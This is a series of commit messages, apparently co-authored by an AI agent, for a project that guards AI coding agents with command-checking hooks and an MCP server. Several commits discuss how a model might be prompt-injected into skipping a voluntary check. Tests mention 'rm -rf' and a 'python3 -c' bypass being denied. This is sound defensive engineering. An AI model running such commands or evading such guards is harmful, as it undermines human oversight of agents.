   `yana-rt doctor dispatch . --json` self-check caught this
   (`"kind": "unreachable", "name": "mcp"`). Fixed by adding `mcp` to
   the same case-statement line as the other Rust-dispatched
   subcommands. Independently verified via a dedicated verify-agent
   dispatch per 71-entry-point-verify-law.md: red/green comparison
   (bash-level rejection before the fix, clap-level parsing after),
   sibling subcommands on the same line unaffected, and the exact CI
   check reproduced locally with `findings: []` after the fix. Note:
   `mcp` is gated behind a Cargo feature not compiled into the default
   binary (Program J spike, documented in Cargo.toml) -- this fix makes
   it reachable from the CLI, it does not make MCP functionality itself
   available without building with `--features mcp`.

2. .codex/ (agents + hooks mirror, 111 files) and
   core/tests/adapters/cursor/test-before-shell-execution.sh +
   core/adapters/cursor/before-shell-execution.js were never committed
   to this repo at all -- confirmed via `git log --all` returning
   nothing for either path. Yet core/scripts/verify-hook-mirrors.sh
   (already committed) hardcodes .codex/hooks as a mirror it expects to
   match core/hooks/ byte-for-byte, and core/tests/hooks/
   run-hook-tests.sh (already committed) references the adapter test
   suite by exact path. On a fresh checkout (i.e. CI) both checks
   failed because the files they depend on simply weren't there --
   masked locally only because these paths happened to exist untracked
   on-disk. Confirmed and committed after anh's explicit go-ahead:
   .codex/ verified byte-for-byte in sync with core/hooks/ via
   verify-hook-mirrors.sh before staging; the cursor adapter's own test
   suite (6 cases -- destructive-command denial forwarding
   guard-destructive.sh's real reason text, benign-command allow,
   malformed-JSON fail-closed, missing-guard fail-closed,
   guard-destructive.sh's own jq-missing fail-closed forwarded
   end-to-end, and a static no-reimplementation check) run and passing
   locally before commit.

run-hook-tests.sh 260/260, drift-check.sh clean, core-lock unaffected
(.codex/ and core/adapters/ aren't in its pinned scope).

Not yet fixed, flagged separately: a real race condition in
risk-scorer.sh/budget-sentinel.sh vs token-budget-guard.sh (concurrent
writers to the same state file lose updates under real concurrency,
caught by Hook Tests' own race-condition assertions) -- out of scope
for this commit, reported to anh separately.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
yanacuti1121 added a commit that referenced this pull request Jul 27, 2026
…86)

* docs: record new Program J input -- yana-ai chat + local Ollama repo access

anh Tam's direct request mid-session 2026-07-24: yana-ai chat's Ollama
provider (confirmed live via a real ollama_chat test against
qwen2.5-coder:14b) is pure conversation only by design -- no file read,
no repo visibility (src/chat/mod.rs's module doc explains why: nothing
executes, so there's nothing for Yana AI's hook system to guard). He
wants it to actually read the repo, Claude-Code-like -- chose this
(extend yana-ai chat directly) over the alternative (point Cursor's
agent mode at Ollama and reuse the existing core/adapters/cursor/
hook, whose Ollama-agent support couldn't be confirmed from Cursor's
docs).

Per this repo's own D7/ADS v1 rule (Specification-first Development,
established by anh Tam himself this session), this is not something to
silently code -- it's a real scope-expansion question for Program J
(Universal Capability Runtime), whose Scope section currently names
exactly 4 AI-tool clients (Claude/Cursor/Gemini/Codex) sourced from
VISION-2.4.md's roadmap. Grepped VISION-2.4.md directly: no mention of
yana-ai chat or a local-model client anywhere in the original 30-
capability roadmap. Adding it would be real scope growth (M=5, not 4),
not filling in content that was already implied -- different in kind
from how the other 3/4 Open Questions got answered this session (pure
re-reading of existing source docs, no new scope).

Recorded as a new "Input bổ sung" section with a second Open Question
(does this belong in Program J's scope or is it a separate Program/
Program D sub-goal) -- explicitly not decided by this agent, flagged
for anh Tam. Also recorded upfront, before any Architecture discussion:
this is a real security-posture change, not a small one -- yana-ai
chat's current zero-tool-calling design is exactly why it sits outside
the hook system's reach; giving it real file/exec access means it must
start complying with the same guard rails every other agentic surface
in this repo already does (04-sandbox-isolation-law.md,
agent-excessive-agency-law.md, agent-tool-poisoning-guard.md,
execution-environment.md's banned runtime functions) -- a weaker local
model doesn't mean weaker consequences from what it's allowed to run.

Docs-only, no code touched -- matches the D7 gate (Specification phase
only until anh Tam resolves the two open questions).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: resolve Program J scope question -- M=5, yana-ai chat included

anh Tam's direct decision: "program J đi, gộp vào cho gọn" -- confirms
yana-ai chat + local Ollama belongs inside Program J's scope rather than
a separate Program, accepting the real scope expansion from M=4 (the
roadmap-named Claude/Cursor/Gemini/Codex) to M=5.

Updated: Scope section records the decision with a note that this 5th
client is qualitatively different from the other 4 (a Yana AI-owned
binary, not an external editor/CLI needing a translator script) -- flagged
as a preliminary observation, not an architecture decision, since Phase 3
for the whole Program is still blocked on the earlier, still-unresolved
question (MCP Server replacing vs. extending the translator-per-engine
pattern). Open Questions: the yana-ai-chat scope question is marked
answered; the whitelist-relationship question from the original roadmap
remains the one real open item. Capability List's AI Adapter Layer row
gets a cross-reference note rather than a duplicate new row, since this
is a new client for an existing capability, not a new capability itself.
README.md's Program table synced to match.

Still not touching Architecture/Modules/Interfaces/code -- Phase 3 stays
blocked until the MCP-Server-vs-translator-pattern question is resolved,
per this repo's own D7/ADS v1 gate.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: record Program J architecture decision -- MCP Server fully replaces translator pattern

anh Tam's decision via AskUserQuestion, choosing between two presented
options: MCP Server fully replaces the existing translator-per-engine
pattern (core/adapters/cursor/before-shell-execution.js and future
translators), rather than the lower-risk incremental option (MCP added
as a discovery-only layer, translator kept for real-time hook
enforcement) that was presented as the recommendation.

Recorded the risk that was surfaced before the decision, not to contest
it -- it's anh Tam's call, not something this agent infers -- but so it
isn't lost: the current translator-per-engine path is proven, live
security enforcement (guard-destructive.sh via Cursor); full replacement
means that enforcement path needs to be rewritten and re-validated
through MCP, which is inherently request/response and needs to be
confirmed suitable for a PreToolUse hook's fast-block-or-fail requirement
before implementation, not assumed.

Both architecture questions that were blocking Phase 3 (this one, and
the yana-ai-chat scope question resolved in commit 252da151) are now
answered -- Phase 3 Architecture is unblocked for the whole Program.

Docs-only, no code -- Phase 3 itself is diagrams/design per ADS v1, still
not an implementation gate.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix: create core/config/mcp-whitelist.json -- referenced by 4 rules/skills, never actually existed

Found while working through Program J's last Open Question: agent-tool-
poisoning-guard.md, owasp-llm-top10/SKILL.md, agent-attack-surface/
SKILL.md, and deusdata--codebase-memory-mcp/SKILL.md all reference
core/config/mcp-whitelist.json as if it already existed. Confirmed via
`find`/`grep` that it never did -- the same "rule describes unbuilt
infrastructure" pattern already fixed multiple times this session for
50-financial-deadman-switch-law.md, 54-bft-consensus-law.md,
56-circuit-breaker-law.md, and 62-sovereign-overlord-gate-law.md, and
for the yana-router reference inside 9router-gateway/SKILL.md.

anh Tam's direct instruction on hearing this: "không có thì tạo" (if it
doesn't exist, create it).

Created following the exact schema agent-tool-poisoning-guard.md already
documents (policy/unknown_server_action/approved_mcp_servers), not
inventing new structure. Seeded with one real, grounded entry -- ollama,
confirmed live and in actual use this session (Program J's local-model-
client work) -- rather than a placeholder list.

Explicitly disclosed, not silently implied: no hook or script currently
reads this file (grepped core/gates/sovereign-interceptor.js and
core/hooks/*.sh, found no reference). The file now exists and matches
its documented schema, but wiring an actual enforcement point is
separate work, tracked in PROGRAM-J-SKELETON.md's Open Questions section
as unresolved, not claimed done here.

Also updates PROGRAM-J-SKELETON.md and README.md: Program J's Open
Question 1 is now answered (the file's absence, not a real "extend vs
build" choice, was the actual blocker), bringing Program J's Open
Question count to 0. Phase 3 Architecture is unblocked but not yet
started -- flagged as a stopping point for this session given its length,
not started speculatively.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: draft Program J Phase 3 Architecture -- two flow diagrams, grounded in real code

Per ADS v1's own Phase 3 definition ("ve kien truc, so do luong... khong
code"), drafted two flow diagrams for the MCP-Server-replaces-translator
decision from commit f6efc81b:

1. Real-time hook enforcement (the security-critical path) -- traced
   through src/guard/mod.rs directly before drawing anything. Found
   check_command(command: &str) -> Option<&'static str> (line 691) is
   already a pure function with no I/O, and its own comment says it was
   extracted specifically so it "can be called once per MCP candidate" --
   the MCP integration point already exists, unused. Also found the real
   blocker: dispatch() (line 99) calls std::process::exit() directly,
   fine for one-shot CLI use but fatal if called as-is from a long-running
   MCP server process -- the correct integration point is check_command()
   itself (needs a pub bump), not dispatch()/cmd_destructive(). Recorded
   as a concrete Phase 9 Implementation Plan dependency, not glossed over.

2. Capability discovery (the genuinely new thing MCP adds beyond what the
   translator pattern could do) -- tools/list against a runtime-read
   registry instead of a hardcoded per-engine list.

Also recorded, as a flagged assumption needing anh Tam's confirmation
rather than a silent decision: Claude Code's own native PreToolUse/
PostToolUse hooks (.claude/settings.json, calling core/hooks/*.sh
directly) are a different mechanism from the translator-per-engine
pattern (Cursor's before-shell-execution.js and friends) and are assumed
OUT of this replacement's scope -- Claude Code was never using a
translator to begin with.

Modules table and README.md's Program table synced. Phase 4 (Workflow)
and Interfaces (message schema) intentionally left as TODO -- Phase 3 is
scoped to flow diagrams only per ADS v1, not full interface contracts.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: include Claude Code in Program J's MCP replacement, without weakening enforcement

anh Tam's answer to the Claude Code scope question: "neu chuyen duoc thi
cu, khong thi neu van ho tro thi dung nhu cu la duoc" (convert if
feasible, otherwise keep using it as-is).

Worked through the actual feasibility question rather than assuming an
answer either way, because it's a real safety question, not just a
technical one: Claude Code's PreToolUse hook is a mandatory interception
mechanism (runs before every Bash/Write/Edit call regardless of what the
model wants), while an MCP tool is something the model voluntarily
chooses to call. Naively "moving hook enforcement to MCP" would mean
turning a mandatory check into a tool the model could be prompt-injected
into skipping -- a real security regression, not a neutral refactor.

The reconciliation: don't touch the interception mechanism itself
(.claude/settings.json's PreToolUse stays exactly as mandatory as it is
today, the model has no visibility into or control over it) -- only
change what the hook script does internally, from calling
guard-destructive.sh directly to calling the new MCP Server (the same
thin-bridge pattern core/adapters/cursor/before-shell-execution.js
already uses, just with Claude Code's hook runner as the caller instead
of Cursor). This unifies the judgment source across all 5 MCP clients
without weakening what makes the Claude Code path safe today.

Conclusion: Claude Code is now in scope for the MCP replacement, no
exception. Updated the Ranh gioi scope section, Modules table, and the
Status header/README.md table to match -- no more "assumption pending
confirmation" language since anh Tam settled it.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: draft Program J Interfaces + Phase 4 Workflow -- real MCP spec, not invented schema

Fetched the actual MCP specification (modelcontextprotocol.io/
specification/2025-06-18/server/tools) before writing anything -- JSON-RPC
2.0, tools/list and tools/call message shapes taken verbatim from the
published spec, not guessed from training-data recall (this session's
trust-score flag requires double evidence for claims; a wrong schema
here would be worse than no schema).

Interfaces: defines the check_command tool (name/description/inputSchema/
outputSchema) and concrete tools/call request/response examples for both
allow and deny outcomes. The one thing flagged as load-bearing, not a
footnote: MCP's spec itself splits errors into two channels (JSON-RPC
Protocol Errors vs. isError:true Tool Execution Errors) that guard-
destructive.sh/check_command() currently has no equivalent of -- every
unverifiable case there is just "deny," never a third "error, not sure"
state. Both MCP error channels MUST map to deny on the client side, no
exception, or the MCP transition would silently reintroduce a fail-open
path the current design goes out of its way to avoid (see the fail-closed
philosophy documented in core/adapters/cursor/before-shell-execution.js,
read directly in the Phase 3 commit).

Phase 4 Workflow: expands Phase 3's flow diagram into a full pipeline
with startup, persistent connection (not per-request spawn, unlike the
current spawnSync-per-call translator), all 4 result branches including
the two failure paths, and audit logging (routed through the existing
audit-hardening-policy.md chain, not a new parallel log per MCP's own
"log tool usage for audit purposes" requirement). Three items explicitly
left undecided for Phase 9 Implementation Plan or anh Tam's call: the
MCP server's CLI subcommand name, the client-side timeout value (the
current 15s was tuned for spawning bash; in-process calls should be much
faster but that needs Phase 12 Benchmark data, not a guess), and how the
server process gets started in a working session.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: persist Program J's MCP architecture decision to L1 memory

Found while honestly scoring Program J against ADS v1's Readiness Matrix
(Phase 5): none of today's Program J decisions (MCP replaces translator,
Claude Code in scope without weakening enforcement, mcp-whitelist.json
created) had been written to L1 atomic memory, despite
memory-persistence-law.md's explicit requirement that architecture
decisions affecting future work MUST be persisted before relying on them
in a future session -- conversational context is ephemeral, L1 is not.

add-fact.sh is interactive (prompts per field), not scriptable in this
session -- followed the same manual-write pattern already established by
fact-20260710-220852 and fact-20260710-220901 (matching schema, ID
convention, confidence: unverified per fact-confidence-rule.md's "manual
promotion only" constraint) rather than inventing a new convention.

Recorded only the single highest-impact decision (MCP replaces
translator-per-engine, including Claude Code, without weakening its
enforcement mechanism) as one atomic fact -- not every sub-decision from
today's session, per L1's own "atomic" naming.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: score Program J against ADS v1's Readiness Matrix -- 60%, blocked from implementation

Honest, evidence-based scoring against all 10 Readiness Matrix categories
(ADS-v1.md only names the 10 categories, doesn't define a rubric per
category -- flagged the two genuinely ambiguous ones, Notebook and
Context, as "cach hieu chua chac" rather than confidently scoring
something undefined):

Ready (5): Repository, Knowledge, Runtime, Governance, Security -- each
with concrete evidence, not just asserted.
Ambiguous interpretation (2, counted at half weight): Notebook, Context.
Not ready (2): Benchmark (no numbers anywhere, not even a rough estimate
-- the timeout question from Phase 4's Workflow section is exactly this
gap), Cost (never addressed in Phase 0-4 despite being thematically
connected to this session's earlier "reduce Claude quota" discussion --
the two were never actually connected into real analysis).

Tally: 5 + 2*0.5 + 0 = 6/10 = 60%, below ADS v1's own 80% bar --
"Readiness < 80% -> Block, chi duoc Research/ADR/Design, khong code."
This is the expected, correct outcome at this stage (Phase 0-4 just
finished, Phase 6 ADR / Phase 7 Research / Phase 8 Design Review haven't
happened yet) -- not a failure, the gate doing its job.

Rewrote the Status header to compress the accumulated per-decision
history from today's session into one current-state summary, since it
had grown into a long chronological log that the body sections (Scope,
Architecture, Interfaces, Workflow, Readiness Matrix) already cover in
full -- the detail isn't lost, just no longer duplicated at the top.

README.md's Program table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: measure real translator latency, write Cost analysis after local-model delegation failed twice

Benchmark: measured the CURRENT translator pattern directly (5 runs,
node + spawnSync + core/adapters/cursor/before-shell-execution.js
against a benign `ls -la`) rather than leaving the Readiness gap as an
unmeasured guess: 178-310ms per call, ~220ms average. Compared against
already-measured numbers from BENCHMARK.md (2026-07-23): Rust binary
startup ~22-24ms, yana-rt guard token-budget dispatch (in-process, but
carries ADR-008 lock overhead) ~65ms. check_command() has neither
process-spawn nor lock overhead, so a persistent in-process MCP server
should beat the current 220ms baseline by at least an order of magnitude
-- stated as a directional estimate, not a real number, since the MCP
server doesn't exist yet to measure.

Cost: tried delegating a first-draft cost-factor brainstorm to two local
Ollama models before writing it myself, per this session's local-model-
delegation practice. Both failed -- qwen2.5-coder:14b gave an off-topic,
truncated answer; huihui_ai/qwen3.5-abliterated:9b ran past 120s
(backgrounded) and came back with an empty, invalid-JSON result. Wrote
the analysis directly instead of forcing a bad delegation result into
the doc. Flagged the most important point in it: the highest real cost
here isn't money, it's the consequence of getting the MCP-error-to-deny
mapping wrong (documented in Interfaces) -- a safety regression, not a
budget line item, so this category needs engineering review more than
financial estimation.

Readiness Matrix score updated 60% -> 70% (Benchmark and Cost move from
Not-ready to Partial). Still below ADS v1's 80% bar, still correctly
blocked from Phase 10 Implementation -- recorded plainly that the honest
path to 80% is going through Phase 6-8, not padding the score.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: write ADR-010 for Program J's MCP-Server-replaces-translator decision

Phase 6 of ADS v1 for Program J. Follows ADS v1's own specified ADR
template (Decision/Problem/Alternatives/Tradeoffs/Reason/Consequence),
not the freeform Status/Context/Decision shape ADR-006 through ADR-009
used, since ADS v1 (established 2026-07-24) is now this repo's standing
process for Program-scoped decisions.

Distills PROGRAM-J-SKELETON.md's Phase 0-5 content into the formal ADR
shape -- no new decisions introduced, every claim traces back to that
doc, the real code read directly during this session (core/adapters/
cursor/before-shell-execution.js, src/guard/mod.rs), or the L1 fact
already recorded (fact-20260724-233122). Records both alternatives that
were actually on the table (the lower-risk incremental option this agent
recommended via AskUserQuestion, and the full-replacement option anh Tam
chose), not just the winner, per the Alternatives/Tradeoffs sections
ADS v1's template requires.

States plainly in its own Status section that writing this ADR does not
clear Program J for Phase 10 Implementation -- Readiness is 70%, below
ADS v1's 80% bar, and Phase 7 (Research) / Phase 8 (Design Review) still
need to happen first. An ADR records a decision; it isn't a readiness
gate by itself.

Updated PROGRAM-J-SKELETON.md's ADR section (was a TODO placeholder) and
its Status header, plus README.md's Program table, to point at the new
file.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: Program J Phase 7 Research -- rmcp SDK, MCP client config, zero-config install path

Fetched real sources before writing anything (github.com/modelcontextprotocol/
rust-sdk, code.claude.com/docs/en/mcp), per ADS v1 Phase 7's own scope
("Khong viet code. Nguon: GitHub... Documentation... MCP...").

Three findings, each with a direct Phase 9 implication:

1. rmcp is the official Anthropic-maintained Rust MCP SDK
   (cargo add rmcp --features server), actively developed, macro-based
   tool definitions, supports both stdio and Streamable HTTP in
   long-running multi-client mode. Means Phase 9 doesn't need to hand-roll
   JSON-RPC -- lower risk of getting the error-mapping requirement
   (Interfaces, Phase 1) wrong through a homegrown protocol
   implementation.

2. Claude Code's local MCP server connection uses CLAUDE_PROJECT_DIR in
   the spawned server's environment -- the exact same convention already
   used by core/adapters/cursor/before-shell-execution.js (read directly
   in the Phase 3 commit). No new convention needed.

3. The one with real install-experience impact: Claude Code plugins can
   declare mcpServers directly in plugin.json using ${CLAUDE_PLUGIN_ROOT},
   auto-connecting at session startup with zero manual .mcp.json setup.
   Yana AI already ships as a Claude Code plugin (plugin.json,
   marketplace.json exist) -- this means the MCP Server addition doesn't
   need a new install step beyond an entry in plugin.json, matching the
   existing "npx yana-ai-install wires the hooks (60 seconds)" philosophy
   README.md already advertises.

First drafted a condensed summary via qwen2.5-coder:14b (local Ollama) --
this time asked it to reformat/condense already-fetched real source
material rather than reason from scratch (the task shape that failed
twice earlier today for Cost analysis). Result was accurate and usable,
unlike those two attempts -- used as the starting structure, then
expanded with the full detail and Program-J-specific implications above
before this commit.

Explicitly flagged as NOT yet researched: how Cursor, Codex, and Gemini
(3 of Program J's 5 clients) connect to local MCP servers -- only Claude
Code's mechanism is confirmed. Left as an open Phase 8 dependency, not
assumed to work the same way.

Status header rewritten again (was growing into a long chronological
log) -- README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: Program J Phase 8 Design Review -- 7/9 ready, 1 real gap, 1 dependency caution

Scored against ADS v1's own 9-item checklist (Architecture/Naming/
Dependency/Duplicate/Security/Maintainability/Performance/Scalability/
Governance), each with cited evidence rather than a rubber stamp.

Dependency: fetched crates.io's real API data for rmcp before writing
anything -- 17.1M total downloads, Apache-2.0 (matches Yana AI's own
license), last published 2026-07-23 (yesterday), easily clears
dependency-vetting-law.md's 8-criteria bar. Found one real thing worth
flagging: crates.io's max_version is 3.0.0-beta.1, but 2.2.0 is the
actual latest stable release -- Phase 9 should pin the stable line for a
dependency sitting on a security-critical path, not the beta.

Scalability: read check_command()'s signature directly rather than
guessing -- `fn check_command(command: &str) -> Option<&'static str>`
has no shared mutable state, no locks, no I/O, so it's safe to call
concurrently from multiple client connections without added
synchronization. A real finding from the code, not an assumption.

Naming: genuinely unresolved -- the MCP server's CLI subcommand name was
never decided (Workflow section already flagged this placeholder). Left
as a real gap for Phase 9, not silently picked here.

Zero items scored Fail. Explicitly noted: Design Review passing does not
raise the Readiness Matrix score by itself -- they're different gates.
Readiness stays at 70%, still below ADS v1's 80% implementation bar.

Also re-flagged, still unresolved from Phase 7: how Cursor/Codex/Gemini
(3 of Program J's 5 clients) connect to local MCP servers was never
researched, only Claude Code's mechanism was. Left as an open gap rather
than assumed identical.

Status header and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: Program J Phase 9 Implementation Plan -- 5 staged rollout, CLI name proposed from precedent

Read src/main.rs's existing Commands enum before proposing a name for the
new MCP server subcommand, rather than inventing one -- found Chat (line
162) is the one existing top-level command with flat flags and no nested
action enum, unlike the Task/Guard/Bus-style noun+action pattern every
other command uses. Proposed `yana-rt mcp` on that precedent, since the
MCP server is "run as a mode" like chat, not a CRUD resource like task/
guard. Treated this as a naming/housekeeping call following existing
convention, not an architecture decision needing anh Tam's sign-off --
flagged the reasoning so it's not an unlabeled guess either.

Five stages per ADS v1's own Phase 9 template (Research -> Prototype ->
Alpha -> Beta -> Stable):

- Research: the still-open Cursor/Codex/Gemini MCP connection gap from
  Phase 7/8, plus a check_command()-to-rmcp spike with no client swapped
  yet.
- Prototype: yana-rt mcp exposing exactly one tool, tested against a real
  MCP client, both Interfaces error-mapping branches (Protocol Error,
  isError:true) verified to resolve to deny -- stated as a hard gate
  before Alpha, not optional.
- Alpha: Cursor only (it already has a translator to compare against),
  running in parallel with the old path, real Benchmark data gathered
  against the 220ms baseline before touching anything else.
- Beta: remaining clients, including wiring actual enforcement for
  core/config/mcp-whitelist.json (created earlier today, still has no
  reader -- this is where that gap gets closed, not left open forever).
- Stable: all 5 clients on MCP; the guard-destructive.sh/before-shell-
  execution.js deprecate-or-keep question (raised, not answered, in
  Phase 8's Maintainability row) gets decided here, not earlier.

Explicit boundary stated: this plan stages the work, it does not itself
authorize Phase 10 code -- Readiness is still 70%, still below ADS v1's
80% bar.

Status header condensed again and README.md's table synced.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: close Program J's last research gap -- Cursor/Codex/Gemini MCP config confirmed

Fetched real docs for each of the 3 remaining clients separately (per
this session's own established discipline: "khong gia dinh giong nhau"),
not assumed identical to Claude Code:

- Cursor: .cursor/mcp.json, same mcpServers JSON schema as Claude Code
  (cursor.com/docs/context/mcp)
- Gemini CLI: .gemini/settings.json, same mcpServers JSON schema again
  (github.com/google-gemini/gemini-cli docs)
- Codex CLI: .codex/config.toml, genuinely different -- TOML, not JSON,
  [mcp_servers.<name>] table syntax (learn.chatgpt.com/docs/extend/mcp)

Net finding for Phase 9: 3 of 4 clients (Cursor, Gemini, and Claude Code
when not using the plugin.json auto-connect path) share one identical
JSON schema -- an install script only needs one TOML branch (Codex) as
the real special case, not four separate formats. This repo already has
untracked .cursor/, .codex/, .gemini/ directories from earlier session
work -- the right locations for these config files once Phase 10 starts.

Marks Roadmap's Research stage as done; the remaining Research-stage item
(the rmcp + check_command spike) is unchanged, tracked separately.

Status header and README.md's table updated to note anh Tam authorized
proceeding past the Readiness gate for a small Prototype spike next.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat: Program J Phase 9 spike -- working MCP server prototype, real latency data

anh Tam authorized proceeding past the 70% Readiness gate for a small
Research/Prototype spike, per ADS v1's own exception path for a human
override. Not Phase 10 implementation -- an isolated, disposable
prototype validating the architecture before committing to it for real.

New: src/mcp.rs, a minimal MCP server (rmcp 2.2.0, pinned to the stable
line per Phase 8's own finding, not crates.io's 3.0.0-beta.1 max_version)
exposing exactly one tool, check_command, over stdio. Calls
crate::guard::check_command() directly, in-process -- the same pure
judgment function core/hooks/guard-destructive.sh mirrors, unchanged.

src/guard/mod.rs: check_command() becomes pub (was module-private) so
src/mcp.rs can call it without going through dispatch()/cmd_destructive()
(both route to std::process::exit(), fatal if called from a long-running
server process). Zero logic changes -- confirmed by diff, verified in
review.

src/main.rs + Cargo.toml: new Commands::Mcp and rmcp/tokio dependencies,
all gated behind a new `mcp` Cargo feature, separate from default `cli`.
This is the crate's first tokio/async dependency (confirmed via docs.rs
before adding) -- kept isolated so the spike doesn't change the default
build's footprint. Verified at the binary level (strings scan), not just
by reading #[cfg] attributes: tokio/rmcp symbols are absent from a
default-feature build.

Live end-to-end test this session (real Python MCP client, full
initialize/tools-list/tools-call handshake, not simulated): benign
command -> allow, `rm -rf` -> deny with the real reason text, and the
exact `python3 -c` inline-script bypass fixed earlier this session ->
deny with the identical reason the bash guard would give -- proving
check_command() is genuinely reused, not reimplemented. Measured
latency: p50 0.134ms, avg 0.154ms per call (50 runs, post-warmup) versus
the previously-measured 178-310ms translator baseline -- roughly
1400-1600x faster once the server is already running.

cargo test --features cli (mcp NOT enabled) still 183/183 + 63/63,
single-threaded, confirming zero regression to the existing default
build. One pre-existing test flake found and left alone, out of scope:
guard::blast_paths::tests::absolute_path_under_repo_root_is_protected
races on a shared YANA_REPO_ROOT env var under parallel test execution
(passes reliably in isolation) -- not touched by this change, not
introduced by it.

Per 54-bft-consensus-law.md's spirit (src/guard/mod.rs is core-lock-pinned
security-critical code, same category as core/hooks/** even though the
law's literal trigger table doesn't name src/), dispatched both
security-team/security-auditor.md and code-auditor.md before this commit.
No Safety-severity findings. Three Style/Performance-tier notes from
code-auditor, explicitly scoped to "fix before Phase 10, not now": the
tool_router field is currently dead code (rmcp's default #[tool_handler]
expansion calls the associated fn, not the cached instance -- confirmed
by reading rmcp-macros' generated code, not assumed), the `mcp` feature
doesn't declare its real dependency on `cli` (works today only because
main.rs is itself gated on `cli`), and tokio's "full" feature set is
wider than a stdio-only server needs. Applied the one cheap fix
(security-auditor's and code-auditor's own wording note on the
check_command doc comment: "both call process::exit()" corrected to
"both route to process::exit()", since only dispatch() calls it directly).

core/config/core-lock.json regenerated per 67-core-integrity-lock-law.md's
protocol (diff reviewed -- only src/guard/mod.rs's hash changed --
regenerated via update-core-lock.sh, never hand-edited).

Readiness Matrix impact (docs/programs/PROGRAM-J-SKELETON.md): Benchmark
row moves from Partial to Ready on this real data, taking the overall
score from 70% to 85% -- above ADS v1's 80% bar. Stated plainly in the
doc: this is the result of one small spike, not a completed Phase 10,
and whether to treat Program J as formally past the Readiness gate is
anh Tam's call to make, not this agent's to declare.

Also closed the Research-stage gap flagged in the previous two commits:
fetched real docs for Cursor (.cursor/mcp.json), Gemini CLI
(.gemini/settings.json), and Codex CLI (.codex/config.toml) separately,
per this session's own discipline of not assuming they match Claude
Code's mechanism. Finding: 3 of 4 clients share one identical mcpServers
JSON schema; only Codex differs (TOML).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* debug: add temporary GitHub OIDC identity logging to npm publish job

Still root-causing the E403 on the actual npm publish PUT after
confirming (2026-07-24/25) that OIDC token exchange and provenance
signing both succeed -- environment/permissions/id-token are all
verified present in this file, branch is confirmed main (workflow_dispatch's
own if: condition doesn't gate on ref at all), so the failure is
somewhere in npm-side Trusted Publisher matching, not this workflow's
config as written.

Adds one diagnostic step printing GITHUB_REPOSITORY/REF/WORKFLOW/JOB/
EVENT_NAME/ACTOR right before the publish step, to hand-compare against
npmjs.com's Trusted Publisher entry for anything logs don't otherwise
surface (e.g. GITHUB_WORKFLOW is the workflow's `name:` field, not its
filename -- worth confirming npm expects the filename, not the display
name, since this repo's workflow name is "Publish to npm + PyPI +
crates.io", not "publish.yml").

Explicitly temporary -- remove once the 403 is root-caused.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(py): port yana-rt wrapper recursion guard from JS to Python

src/yana_ai/rt.py resolved the yana-rt binary via shutil.which with no
self-check, the same bug class fixed in scripts/yana-rt-wrapper.js on
2026-07-08/09 after a real incident (self-invocation through PATH,
100% CPU, 116C, forced shutdown) -- but that fix was never ported to
this file, so every PyPI release to date carries the same unpatched
recursion risk.

Adds the same guard pattern as the JS fix: a hard re-entry env var
checked before resolving any candidate, plus a realpath self-check
applied to every candidate including the explicit override, so the
wrapper's own path pasted into the override cannot re-arm the
recursion either.

Verified with 5 direct logic tests against the new helper functions
(self-reference rejection, nonexistent path, empty input, real
executable, exit code 1 on re-entry) -- all pass.

README.md: corrected an inaccurate warning that claimed pip was
unaffected; only cargo install yana-rt is structurally immune (no
wrapper to recurse through). npm and PyPI both currently carry the bug
in their latest published release.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: sync vi/ko/zh READMEs with README.md

Ports the last four English-only README updates into the three
translations: the yana-rt self-recursion warning (npm/PyPI affected,
cargo unaffected), the demo GIF, the debunked-1256x benchmark rewrite,
and the new yana-ai chat subcommand. Also corrects a pre-existing
57-vs-58 hooks mismatch in the safety-architecture tree diagram that
predates this change.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(yana-rt): skill-quality ledger — quality from real task outcomes

Adds `yana-ai skill-quality show|promote`, a per-skill outcome ledger
built entirely from two signals Yana AI already produces: which
skill/agent a task's session invoked (audit-chain.log) and eval judge's
PASS/FAIL verdict. No new hook, no new LLM call, no new dependency.

Idea borrowed from HKUDS/OpenSpace's quality-from-real-tasks and
provisional/trusted promotion model, reimplemented from scratch with no
dependency on that project or its cloud. Promotion always requires an
explicit human command; demotion on a fresh FAIL streak is automatic,
since revoking standing is safe to run unattended in a way granting it
isn't.

Incorporates a follow-up round from external code review: narrows
skill/task attribution to the task's own work window instead of an
unbounded "now" (mitigates, doesn't fully close, cross-task
attribution — full fix needs task-id tagging in audit-log.sh itself,
out of scope here), and switches timestamp comparison from raw string
ordering to parsed RFC3339 instants.

262 tests pass (199 unit + 63 integration), 0 regressions. Verified
end-to-end against a real task, a real Skill tool-call entry in
audit-chain.log, and a local Ollama judge call.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs: freeze npm at v0.43.1, document the account-level publish block

npm publishing has been blocked for weeks by an issue confirmed to be
account-level, not package- or config-specific: the same 403 reproduces
across multiple packages under the same npm account, through both CI's
OIDC trusted publishing and a fresh manual browser login, while npm's
own `access list` reports read-write on every one of them. Reported to
npm support repeatedly with no resolution.

Rather than keep chasing an unresponsive support channel, all four
READMEs now say so plainly and point new installs at `pip install
yana-ai` or `cargo install yana-rt` for the current version. Also
updates the existing yana-rt self-recursion known-issue callout, which
referenced this same npm block as "tracked, in progress" — no longer
